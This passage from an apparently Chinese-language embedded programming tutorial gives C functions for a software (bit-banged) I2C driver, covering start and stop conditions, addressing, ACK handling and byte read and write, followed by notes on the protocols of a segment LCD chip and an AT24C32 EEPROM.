</span></span><span class="line"><span class="cl">        <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 发送停止条件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_stop_condition</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">returnack</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="具体实现">具体实现</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// 设置 I2C 总线为空闲状态，拉高 SDA SCL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">i2c_port_initial</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_HIGH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_HIGH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 发送起始条件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">i2c_start_condition</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_HIGH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_HIGH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 先拉低 SDA
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 再拉低 SCL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 发送停止条件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">i2c_stop_condition</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 先拉高 SCL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_HIGH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 后拉高 SDA
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_HIGH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 发从机地址
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">i2c_slave_address</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">IICID</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">readwrite</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 读写标志设置，0 写数据，1 读数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">readwrite</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">IICID</span> <span class="o">|=</span> <span class="n">I2C_READ</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">IICID</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="n">I2C_READ</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// SCL 下降沿才能修改 SDA 电平
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">x</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="n">x</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">x</span><span class="o">--</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 设置 SDA 电平
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nf">sda_out</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">IICID</span> <span class="o">&amp;</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">x</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 拉高拉低 SCL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nf">i2c_clk_data_out</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 读 ACK
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">uint8_t</span> <span class="nf">i2c_check_ack</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">ack</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">temp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_INPUT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_HIGH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">ack</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">--</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 读到 SDA 为 0 表示应答成功
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="n">temp</span> <span class="o">=</span> <span class="o">!</span><span class="p">(</span><span class="nf">SW_I2C_ReadVal_SDA</span><span class="p">(</span><span class="n">d</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">temp</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">ack</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_OUTPUT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ack</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 发 ACK
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">i2c_send_ack</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_OUTPUT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 主要是拉低 SDA
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_HIGH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_OUTPUT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 发 NACK
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">i2c_check_not_ack</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// SDA 有上拉电阻，默认高电平
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_INPUT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">i2c_clk_data_out</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_OUTPUT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 写寄存器地址
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">i2c_register_address</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 其实就是发数据，一样的逻辑
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">x</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="n">x</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">x</span><span class="o">--</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">sda_out</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">addr</span> <span class="o">&amp;</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">x</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">i2c_clk_data_out</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 发数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">SW_I2C_Write_Data</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">x</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="n">x</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">x</span><span class="o">--</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">sda_out</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">data</span> <span class="o">&amp;</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">x</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">i2c_clk_data_out</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 读数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">uint8_t</span> <span class="nf">SW_I2C_Read_Data</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">readdata</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_INPUT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">x</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">x</span><span class="o">--</span><span class="p">;)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 在 SCL 上升沿的时候采样，这个时候读 SDA 的电平 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_HIGH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">readdata</span> <span class="o">&lt;&lt;=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nf">SW_I2C_ReadVal_SDA</span><span class="p">(</span><span class="n">d</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="n">readdata</span> <span class="o">|=</span> <span class="mh">0x01</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SCL_LOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_io_ctl</span><span class="p">(</span><span class="n">HAL_IO_OPT_SET_SDA_OUTPUT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">readdata</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="案例">案例</h2>
<p>起始条件、结束条件、发从机地址、ACK 这些是标准的协议规定的，但发了从机地址之后，数据该怎么传输，那就要看芯片手册怎么定义的了，后面的这部分可以看作是基于 I2C 协议之上的应用协议。具体可以看看后面的两个案例。</p>
<h3 id="cn91c4s48-段码屏的通信规则">CN91C4S48 段码屏的通信规则</h3>
<p>芯片手册描述了通信的起始条件、结束条件，以及从机地址、读写标志和发送命令还是数据的协议规定。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230420173348631.164r7vtcic3g.webp" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230420173437184.6753qmoevok0.webp" alt=""  />
</p>
<h3 id="at24c32-eeprom-通信规则">AT24C32 EEPROM 通信规则</h3>
<p>起始条件和停止条件的定义。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.1tskgdta3l8g.webp" alt=""  />
</p>
<p>数据采样和数据修改的时机。</p>
